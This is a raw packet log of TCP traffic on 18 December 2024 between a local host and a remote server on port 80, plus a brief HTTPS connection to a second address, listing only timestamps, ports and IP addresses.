Dec 18, 2024 21:30:40.850438118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.850562096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.850668907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.858890057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.858971119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.859071016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.860434055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.867271900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.867327929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.867404938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.867451906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.875603914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.875658989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.875906944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.876331091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.884031057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.884088039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.884197950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.884469986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.892493963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.892544985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.892640114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.892683983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.900933027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.901048899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.901124954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.901192904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.909290075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.909643888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.909708023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.949527979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.949558973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.949625015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.949625015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.021526098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.021648884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.021797895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.023904085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.024189949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.024243116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.028676033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.028753996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.028798103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.028842926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.033448935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.033499002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.033576965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.033617973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.038012028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.038249016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.038327932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.042927027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.043073893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.043149948 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.047565937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.047751904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.047856092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.052306890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.052445889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.052467108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.052514076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.056983948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.057135105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.057276011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.061801910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.061985016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.062052011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.066478968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.066551924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.066580057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.068411112 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.071080923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.071301937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.071367979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.075871944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.076023102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.076101065 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.080523014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.080575943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.080733061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.080787897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.084362030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.084487915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.084549904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.084738016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.088190079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.088268995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.088326931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.088397980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.091986895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.092042923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.092185974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.093674898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.096524954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.096538067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.096580982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.099809885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.099867105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.100116014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.100167036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.103591919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.103804111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.103856087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.107556105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.107650042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.107707977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.111202002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.111268044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.213640928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.213738918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.213810921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.213870049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.215161085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.215224981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.215421915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.215466022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.218071938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.218143940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.218244076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.218296051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.221081972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.221136093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.221215010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.221549034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.224052906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.224103928 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.224170923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.224215984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.226927996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.227138042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.227199078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.229644060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.229697943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.229793072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.229836941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.232333899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.232542038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.232597113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.235068083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.235110998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.235208988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.235241890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.237704039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.237772942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.237855911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.238060951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.240425110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.240542889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.240669012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.240746021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.242966890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.243020058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.243130922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.243180990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.245754004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.245863914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.245924950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.248266935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.248312950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.248392105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.248626947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.250825882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.250880003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.250977993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.251019955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.253659010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.253722906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.253812075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.253855944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.256361961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.256413937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.256525993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.256591082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.258781910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.258836031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.258954048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.258992910 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.261425972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.261527061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.261552095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.261598110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.264086962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.264461994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.264523029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.266814947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.266865969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.266935110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.267339945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.269351006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.269560099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.269610882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.269651890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.271995068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.272057056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.272099972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.272222042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.274647951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.274699926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.274786949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.274832010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.277393103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.277446985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.277525902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.277570963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.279835939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.279887915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.280008078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.280066013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.282474041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.282617092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.282643080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.282743931 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.285084963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.285182953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.285254002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.285305023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.287821054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.287940025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.287941933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.287980080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.289755106 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:41.289798975 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:41.289875031 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:41.290488005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.290587902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.290720940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.290802002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.291273117 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:41.291285992 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:41.292957067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.293003082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.293152094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.293203115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.295778036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.295831919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.295886993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.295947075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.298290968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.298338890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.298408031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.298621893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.301170111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.301234961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.406070948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.406137943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.406261921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.406317949 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.407268047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.407341957 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.407423019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.407469034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.409383059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.409456015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.409540892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.409696102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.411485910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.411576986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.411636114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.411674023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.413642883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.413690090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.413752079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.413822889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.415858030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.415925980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.415998936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.416033030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.417855024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.417923927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.417956114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.418109894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.419898987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.419981003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.420075893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.420115948 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.421832085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.422075987 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.422081947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.423198938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.423891068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.423943043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.424053907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.424225092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.425893068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.425940990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.426104069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.426156044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.427906990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.428055048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.428127050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.429920912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.430058956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.430116892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.431874037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.431917906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.432024956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.432079077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.433796883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.433960915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.433974028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.434014082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.435817957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.435897112 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.436005116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.436049938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.437793016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.437838078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.437916040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.437961102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.439826012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.439892054 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.439924002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.439965010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.441741943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.441819906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.441962004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.442121983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.443722010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.443800926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.443876028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.443995953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.445875883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.445925951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.445950985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.446005106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.447700024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.447770119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.447843075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.447961092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.449668884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.449724913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.449843884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.449903965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.451682091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.451756001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.451817036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.451927900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.453685999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.453783989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.453855991 CET	80	49819	31.41.244.11	192.168.2.5
